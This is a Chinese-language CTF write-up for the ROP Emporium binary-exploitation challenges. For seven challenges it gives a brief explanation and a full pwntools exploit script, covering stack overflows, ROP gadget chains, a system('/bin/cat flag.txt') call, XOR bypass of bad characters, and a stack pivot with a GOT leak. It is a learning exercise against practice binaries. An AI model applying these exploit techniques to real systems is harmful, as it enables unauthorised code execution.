# Writeup —【ROP Emporium】 題目網址:https://ropemporium.com/index.html --- ## Challenge 01: ret2win ### 題目: 1. 讓我們可以輸入 2. 結束 ### 想法: 在輸入地方,由於可以輸入 56 Bytes,但它其實只有 32 Bytes,所以可以往上蓋。 把 RBP 蓋掉,RIP 蓋成我們要的位置。 ### shell.py ``` from pwn import * context.arch = "amd64" sh = process("./ret2win") shcode = b'a'*32 + b'b'*8 + p64(0x400756) sh.sendafter(b"> ", shcode) sh.interactive() ``` --- ## Challenge 02: split ### 題目: 1. 讓我們可以輸入 2. 結束 ### 想法: 跟上一題有點像,但是他的 function 裡面沒有 system("/bin/sh")。 我們可以找裡面的 string: rabin2 -z split 然後我們可以再 GDB 裡面找到 "/bin/cat flag.txt" 的位置 pwndbg> search /bin/cat 因此,我們需要的,是一個 pop edi; ret; 的指令 ※ edi 是 system 要 call 的參數位置 可以使用 ROPchain: ROPchain --file=split --only "pop | ret" | grep rdi 就會找到一個地方 我們就可以把本來要 pop RIP 的位置放它 再上面就放 "/bin/cat flag.txt" 再放 call system 位置 ### shell.py ``` from pwn import * context.arch = "amd64" sh = process("./split") shcode = b'a'*32 + b'b'*8 shcode += p64(0x04007c3) # pop edi; ret; shcode += p64(0x0601060) # "/bin/cat flag.txt" shcode += p64(0x040074b) # CALL <EXTERNAL>::system sh.sendafter(b"> ", shcode) sh.interactive() ``` --- ## Challenge 03: callme ### 題目: 1. 讓我們可以輸入 2. 結束 ### 想法: 一樣例行動作,file 它、checksec它、seccomp-tools它、rabin2它 我們利用 rabin2 找裡面的 string,但是沒有什麼好用的 那用 rabin2 -i 找一下裡面 import 的東西 rabin2 -i callme 發現有 callme_one、callme_two、callme_three,並且記下它的位置 然後去看這三個的 function,發現它有三個參數,並且分別是 rdi、rsi、rdx 可以使用 ROPchain: ROPchain --file=callme --only "pop | ret" | grep rdi 就會找到一個地方有我們要的 pop rdi; pop rsi; pop rdx; ret; 我們就可以把本來要 pop RIP 的位置放它 再上面就放題目規定的三個參數值,再放要 call 的位置 並且重複三次(因為有 callme_one、callme_two、callme_three) ### shell.py ``` from pwn import * context.arch = "amd64" sh = process("./callme") shcode = b'a'*32 + b'b'*8 # set callme_one() shcode += p64(0x040093c) # pop rdi, rsi, rdx, ret shcode += p64(0xdeadbeefdeadbeef) # rdi shcode += p64(0xcafebabecafebabe) # rsi shcode += p64(0xd00df00dd00df00d) # rdx shcode += p64(0x400720) # call callme_one # set callme_two() shcode += p64(0x040093c) # pop rdi, rsi, rdx, ret shcode += p64(0xdeadbeefdeadbeef) # rdi shcode += p64(0xcafebabecafebabe) # rsi shcode += p64(0xd00df00dd00df00d) # rdx shcode += p64(0x400740) # call callme_two # set callme_three() shcode += p64(0x040093c) # pop rdi, rsi, rdx, ret shcode += p64(0xdeadbeefdeadbeef) # rdi shcode += p64(0xcafebabecafebabe) # rsi shcode += p64(0xd00df00dd00df00d) # rdx shcode += p64(0x4006f0) # callme_three sh.sendlineafter(b"> ", shcode) sh.interactive() ``` --- ## Challenge 04: write4 ### 題目: 1. 讓我們可以輸入 2. 結束 ### 想法: 一樣例行動作,file 它、checksec它、seccomp-tools它、rabin2它 我們找了一下,發現它是要 print 出 flag.txt 因此,我們的目標很值觀,將參數改為 flag.txt,並且 print_file() 所以我們要做的事情就是,找可以存 flag.txt 的地方以及方法 可以用 radare2 來找符合可寫的地方 iS 我們可以在 bss 段的隨便地方配合 mov [reg], reg; ret; 來放入資料 之後,配合它的 print_file(),需要將值丟給 rdi,因此我們還需要 pop rdi; ret; 最後就 call print_file 就好了。 ### shell.py ``` from pwn import * context.arch = "amd64" sh = process("./write4") shcode = b'a'*32 + b'b'*8 shcode += p64(0x0400690) # pop r14; pop r15; ret; shcode += p64(0x0601038) # r14 = any bss_address shcode += b"flag.txt" # r15 = flag.txt shcode += p64(0x0400628) # mov qword ptr [r14], r15; ret; shcode += p64(0x0400693) # pop rdi; ret; shcode += p64(0x0601038) # bss_address where I wrote flag.txt shcode += p64(0x0400620) # call print_file in usefulFunction sh.sendlineafter(b"> ", shcode) sh.interactive() ``` --- ## Challenge 05: badchars ### 題目: 1. 讓我們可以輸入 2. 檢查機制判斷 3. 結束 ### 想法: 跟上一題類似,但是這題多加了檢查字串機制,讓我們無法輸入「x」、「g」、「a」、「.」。 因此,我們勢必無法輸入「flag.txt」,必須繞過它。 我們可以找到一個 xor byte ptr [r15], r14; 這給我們一個方向,可以先 XOR 字串,讓它檢查完,再 XOR 回來,值不會變動。 所以一樣,把值丟到隨便一個 bss 段,然後 call print_file。 只是中間多了一部份,就是要把字串再 XOR 回來。 重點注意:它的 XOR 只能一個 Byte 一個 Byte 去 XOR,所以要作迴圈去完成它。 ### shell.py ``` from pwn import * context.arch = "amd64" sh = process("./badchars") texts = b"flag.txt" xor_num = 3 xor_text = xor(texts, xor_num) shcode = b'a'*32 + b'b'*8 # write the XORed text into bss shcode += p64(0x040069c) # pop r12; pop r13; pop r14; pop r15; ret; shcode += xor_text # r12 = XORed_text shcode += p64(0x0601038) # r13 = any place in bss shcode += p64(0x00) # r14 = 0 shcode += p64(0x00) # r15 = 0 shcode += p64(0x0400634) # mov qword ptr [r13], r12; ret; # XOR the XORed text to turn it back for i in range(len(xor_text)): shcode += p64(0x04006a0) # pop r14; pop r15; ret; shcode += p64(xor_num) # r14 = 3 shcode += p64(0x0601038 + i) # r15 = the place we wrote the text into in bss shcode += p64(0x0400628) # xor byte ptr [r15], r14; ret; # Call print_file shcode += p64(0x04006a3) # pop rdi; ret; shcode += p64(0x0601038) # rdi = the place we wrote the text into in bss shcode += p64(0x0400620) # call print_file() sh.sendlineafter(b"> ", shcode) sh.interactive() ``` --- ## Challenge 06: fluff ### 題目: 1. 讓我們可以輸入 2. 結束 ### 想法: 查一下使用的 function: info function 可以找到一個 questionableGadget 裡面有一些根本不知道的東西,可以查一下: 1> stosb byte [rdi], al 把 al 的值存放到 rdi 指到的位置 值得注意的是,它會同時增加 rdi(下一個) ※所以如果我們想要控制 [rdi],我們就要控制 al [解釋資源1>](https://www.felixcloutier.com/x86/stos:stosb:stosw:stosd:stosq) 2> xlat 把 al 設為 rbx + al 所指到的地方 可以想成是 mov al, [rbx + al] ※所以如果我們想要控制 al,我們就也要控制 rbx [解釋資源2>](https://www.felixcloutier.com/x86/xlat:xlatb) 3> bextr rbx, rcx, rdx rcx:被提取值 rdx:第 7:0 bits 為提取的起始位置 第 15:8 bits 為 Length。 rbx:存放提取結果 其實就是作偏移 ※所以如果我們想要控制 rbx,我們就要控制 rcx、rdx [解釋資源3>](https://www.felixcloutier.com/x86/bextr) 所以我們要做的事情就是找到 [ f l a g . t x t] 的個別位置,然後要減去 al 值,再減去 0x3ef2 之後每個字元都做一次,就可以依序在 rdi 的地方開始放入 flag.txt 最後,在 rdi 那個位置開始 print_file ### shell.py ``` from pwn import * context.arch = "amd64" sh = process("./fluff") elf = ELF("./fluff") texts = b"flag.txt" the_al = 0xb # the first al shcode = b'a'*32 + b'b'*8 # set the rdi point to an address in .data shcode += p64(0x04006a3) # pop rdi shcode += p64(0x0601028) # data address for i in texts: # contral rbx (bextr) char_address = next(elf.search(i)) # find where the char is in ELF shcode += p64(0x040062a) # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret; shcode += p64(0x4000) # rdx shcode += p64(char_address-0x3ef2-the_al) # rcx # contral al (xlat) shcode += p64(0x0400628) # xlat BYTE PTR ds:[rbx]; ret; # contral [rdi] (stos) shcode += p64(0x0400639) # stos BYTE PTR es:[rdi], al; ret; the_al = i # set the al to the last al shcode += p64(0x04006a3) # pop rdi shcode += p64(0x0601028) # data address shcode += p64(0x0400620) # print_file address sh.sendlineafter(b"> ", shcode) sh.interactive() ``` --- ## Challenge 07: pivot ### 題目: 1. 輸出一個位置 2. 讓我們可以輸入第一次 3. 讓我們可以輸入第二次 4. 結束 ### 想法: 一開始,題目會輸出一個位置,發現這個位置就是我們輸入的位置。 但是我們發現,它第一次的輸入有 256 Bytes,然而第二次只有 64 Bytes,可能不夠我們寫。 因此,我們要想辦法利用這個已知位置存放要用的 ROP-chain,然後在之後再回來這個位置。 檢查 usefulGadget: 0x00000000004009bb <+0>: pop rax 0x00000000004009bc <+1>: ret 0x00000000004009bd <+2>: xchg rsp,rax 0x00000000004009bf <+4>: ret 0x00000000004009c0 <+5>: mov rax, QWORD PTR [rax] 0x00000000004009c3 <+8>: ret 0x00000000004009c4 <+9>: add rax, rbp 0x00000000004009c7 <+12>: ret 0x00000000004009c8 <+13>: nop DWORD PTR [rax+rax*1+0x0] 我們發現有一個可以交換 rsp 和 rax 的指令,可以交換後,用來回去執行第一次輸入的東西。 ※ **小知識**: :::info GOT[0]:這個 ELF .dynamic 段的位置 GOT[1]:這個 ELF 的 link_map 數據結構描述符位置 (編譯時為 0 ) 作用:結合 .rel.plt 段的偏移量,才能真正找到這個 elf 的 .rel.plt GOT[2]:_dl_runtime_resolve 函數的位置 (編譯時為 0 ) 作用:得到真正的函數位置,寫回到對應的 GOT 表位置中。 ::: :::info 在 _dl_runtime_resolve 之後,會將真正的函數位置,寫回到 got[n](n>=3)中。 在函數被第一次調用時,才通過連接器動態解析並載入到 .got.plt 中,而這個過程稱之為延時載入或者惰性載入。 當第二次調用同一個函數的時候,就不會與第一次一樣那麼麻煩,因為 got[n] 中已經有了真實位置,直接 jmp 這個位置就可以了。 ::: 因此,我們可以先 call foothold_function 來載入(或者說更新)他的 GOT 表 並且透過 pop rax、mov rax, [rax] 來把 foothold_function 的真正位置拉出來,加上與 ret2win() 的相差位置來推算出 ret2win() 的真正位置,就可以透過 call rax 來 call ret2win() 了! ### shell.py ``` from pwn import * context.arch = "amd64" sh = process("./pivot") elf = ELF("./pivot") libc = ELF("libpivot.so") # to get the first-time-read address sh.recvuntil(b"pivot: 0x") now_address = sh.recvline().strip().rjust(16, b'0') now_address = int(now_address, 16) # use GOT to know the foothold_function function real address foothold_function_plt = elf.plt[b"foothold_function"] foothold_function_got_plt = elf.got[b"foothold_function"] # to know how much we should add to find the ret2win function real address foothold_function_sym = libc.sym[b"foothold_function"] ret2win_sym = libc.sym[b"ret2win"] offset = ret2win_sym - foothold_function_sym # the first time read # to call ret2win() shcode_1 = p64(foothold_function_plt) # call foothold_function shcode_1 += p64(0x04009bb) # pop rax; ret; shcode_1 += p64(foothold_function_got_plt) shcode_1 += p64(0x04009c0) # mov rax, QWORD PTR [rax]; ret; shcode_1 += p64(0x04007c8) # pop rbp; ret; shcode_1 += p64(offset) # set rbp to offset shcode_1 += p64(0x04009c4) # add rax, rbp; ret; shcode_1 += p64(0x04006b0) # call rax; sh.sendlineafter(b"> ", shcode_1) # the second time read # to go back to the first-time-read rsp shcode_2 = b'a'*32 + b'b'*8 shcode_2 += p64(0x04009bb) # pop rax; ret; shcode_2 += p64(now_address) shcode_2 += p64(0x04009bd) # xchg rsp, rax; ret; sh.sendlineafter(b"> ", shcode_2) sh.interactive() ``` --- ## Challenge 08: ret2csu ### 題目: ### 想法: ### shell.py ``` ``` ---